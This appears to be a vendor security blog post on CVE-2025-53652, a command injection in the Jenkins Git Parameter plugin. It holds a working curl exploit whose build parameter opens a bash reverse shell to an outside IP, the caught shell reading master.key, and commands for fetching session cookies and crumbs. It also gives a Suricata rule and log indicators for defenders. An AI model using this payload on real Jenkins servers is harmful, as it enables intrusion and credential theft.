Key Takeaways
Introduction
On July 9, Jenkins disclosed CVE-2025-53652 (aka SECURITY-34191), one of 31 plugin vulnerabilities announced that day. The vulnerability, affecting the Git Parameter plugin, was assigned a medium severity, and described as allowing attackers to "inject arbitrary values in Git parameters". That read to us as a parameter injection issue, something often dismissed as low-impact.
But this involved Git, and Git is not your average binary. It’s a well-known and versatile GTFObin2. We suspected that we could turn the parameter injection into remote code execution. Given the opportunity to do some GTFObin golfing, and with the plugin’s sizable install base, we decided to dig deeper.
Unvalidated Git Parameters
The issue is that the Git Parameter plugin accepts arbitrary values in parameter definitions, and those values are later used directly in shell commands. For example, the following pipeline configuration defines a job that operates on the master
branch.
When the build runs with a normal value like master
, everything behaves as expected.
As shown above, the first command (git rev-parse
) incorporates the user-provided parameter. We can confirm that this input is not validated by setting the branch to something like $(sleep 80)
.
When the build runs with $(sleep 80)
as the parameter, the injected command appears in the output, and the process hangs during git fetch
.
A quick look at ps faux
on the Jenkins host confirms that git fetch
spawns a child process executing the attacker-supplied sleep
command.
USER PID COMMAND
jenkins 7 java -Duser.home=/var/jenkins_home -Djenkins.model.Jenkins.slaveAgentPort=50000 -Dhudson.lifecycle=hudson.l
jenkins 6912 \_ git fetch --tags --force --progress -- testuser@git:/home/testuser/test_repo.git +refs/heads/*:refs/rem
jenkins 6916 \_ /bin/sh /var/jenkins_home/workspace/buildName/$(sleep 80)@tmp/jenkins-gitclient-ssh5385459547173378
jenkins 6917 \_ sleep 80
While sleep
demonstrates command injection, it doesn't cross any real security boundaries. To show practical impact, the following curl
command can be used to trigger a reverse shell.
curl -kv 'http://jenkins:8080/job/[buildName]/build' -X POST \
-H 'Cookie: [cookie];' \
--data-urlencode 'Jenkins-Crumb=[crumb]' \
--data-urlencode 'json={"parameter":{"name":"BRANCH_PARAM","value":"\$(bash -c \"bash &> /dev/tcp/10.9.49.196/1270 <&1\")"}}'
To execute the attack, you'll need to provide three pieces of information:
- The name of the build. All of our examples use “buildName”.
- A valid session cookie (even when exploiting unauthenticated instances).
- A Jenkins-Crumb (a CSRF token) for the
/job/[buildName]/build
endpoint.
If successful, the server will respond with a 201 Created
, and the reverse shell can be caught with nc
.
albinolobster@lastpoint:~$ nc -lvnp 1270
Listening on 0.0.0.0 1270
Connection received on 172.18.0.3 55664
id
uid=1000(jenkins) gid=1000(jenkins) groups=1000(jenkins)
cat ~/secrets/master.key
05322ff531f1b52117bf013b2fe77b40dacbc56268d68b9e234216fe825a0073a5c8051181033f630e67c408d58c3ef631e18ba8b8e6722e64d3c1380518e89a91b4256c5c348febceb24ef32f144045ed422dfb4bdc840aca33814989e431aa00db6df7c403da38247324783811d46c6f3caa1f9b1b26d979fff4391249ca8a
The output confirms that the shell runs as the jenkins
user, and we’re able to read the master.key
.
Authenticated or Not?
By default, Jenkins requires authentication, and under that configuration, this vulnerability does require credentials. Yet the CVSS vector assigned to it includes PR:N
(Privileges Required: None). This rating is based on two possible configurations:
- Jenkins can be set up with authentication disabled entirely.
- Jenkins can allow anyone to create accounts freely.
While arbitrary user sign-up is uncommon, unauthenticated Jenkins instances are not. According to FOFA, out of more than 100,0003 internet-facing Jenkins servers that require authentication, only about 1,0004 have open registration. However, roughly 15,0005 appear to have authentication disabled entirely, though we haven’t confirmed how many of those use the Git Parameter plugin.
Even when authentication is disabled, exploitation still requires a valid session cookie, knowledge of the build name, and the Jenkins crumb. This might slow down tools like Nuclei, but it's unlikely to stop a determined attacker. All of this can typically be retrieved with just a couple of requests:
curl -kv http://localhost:8080/ -o /dev/null
curl -kv http://localhost:8080/job/buildName/build -H 'Cookie: [cookie]' | grep "data-crumb-value="
From there, exploitation proceeds as described above.
Detections and Indicators
One nice thing about the Jenkins plugin system is that it clearly informs administrators when a plugin needs to be upgraded.
Although Jenkins clearly flags outdated plugins, the Git Parameter patch6 includes a flag that allows the fix to be disabled:
If a bug in the plugin prevents you from using that safer setting, the validation can be disabled by setting the system property
-Dnet.uaznia.lukanus.hudson.plugins.gitparameter.GitParameterDefinition.allowAnyParameterValue=true
As a result, this vulnerability may persist even after the plugin is upgraded. The most reliable place to detect exploitation is on the wire. To help with that, the VulnCheck Initial Access team has developed the following Suricata rule:
alert http any any -> any any ( \
msg:"VULNCHECK Jenkins Git-Parameter Plugin CVE-2025-53652 Build Param Injection"; \
flow:established,to_server; \
http.method; content:"POST"; \
http.uri; content:"/job"; startswith; \
content:"/build"; \
http.request_body; content:"parameter"; \
content:"name"; distance: 0; \
content:"Jenkins-Crumb"; \
content:"value"; \
pcre:"/value[^&]*(\;|%3b|\||%7c|<|%3c|>|%3e|\(|%28|\)|%29|$|%24|`|%60|\"|%22|'|%27|\\|%5c|%26)/i"; \
reference:cve,CVE-2025-53652; \
classtype:web-application-attack; \
sid:12700622; rev:2; \
metadata: deployment Datacenter, deployment SSLDecrypt;)
As mentioned earlier, the injected parameter also persists in Jenkins job logs. These logs can be found on disk under ~/jobs/buildName/builds/#/log
. For example:
jenkins@2e8cd409b819:~/jobs/buildName/builds/17$ cat log
Started by user
… truncated …
The recommended git tool is: NONE
using credential f0cb5f5f-fa1a-4a89-9f1d-63d6bbaff7c8
> git rev-parse --resolve-git-dir /var/jenkins_home/workspace/buildName/$(sleep 80)/.git # timeout=10
In short, traces of exploitation may linger both on the wire and on disk.
Conclusion
This vulnerability, originally disclosed as medium severity, ultimately has the characteristics of a critical issue. While we don’t expect widespread exploitation, it’s the kind of flaw that attackers will find useful, particularly in targeted environments or during lateral movement.
And while we had hoped for some creative Git parameter golf, it turned out to be straightforward command injection. No trick shots required.
About VulnCheck
The VulnCheck team is always on the lookout for new and interesting vulnerabilities to abuse. . For more research like this, see our blogs Novel Use of "mount" Spotted in Hikvision Attacks, The Linuxsys Coinmine, ProjectSend CVE-2024-11680 Exploited in the Wild, and Fileless Remote Code Execution on Juniper Firewalls.
Sign up on our website today to get free access to our VulnCheck KEV, enjoy our vulnerability data, and request a trial of our Initial Access Intelligence, IP Intelligence, and Exploit & Vulnerability Intelligence products.
References
Footnotes
- https://www.jenkins.io/security/advisory/2025-07-09/#SECURITY-3419 ↩
- https://gtfobins.github.io/gtfobins/git/ ↩
- https://en.fofa.info/result?qbase64=Ym9keT0iYXBwLXNpZ24taW4tcmVnaXN0ZXIiICYmIGljb25faGFzaD0iODE1ODYzMTIi ↩
- https://en.fofa.info/result?qbase64=Ym9keT0iYXBwLXNpZ24taW4tcmVnaXN0ZXJfX3N3aXRjaGVyIiAmJiBpY29uX2hhc2g9IjgxNTg2MzEyIg%3D%3D ↩
- https://en.fofa.info/result?qbase64=Ym9keT0iSmVua2lucy1DcnVtYiIgJiYgaWNvbl9oYXNoPSI4MTU4NjMxMiI%3D ↩
- https://github.com/jenkinsci/git-parameter-plugin/commit/cab84d3703c267dbdf3e1b4a06fcc51bbed4fcba ↩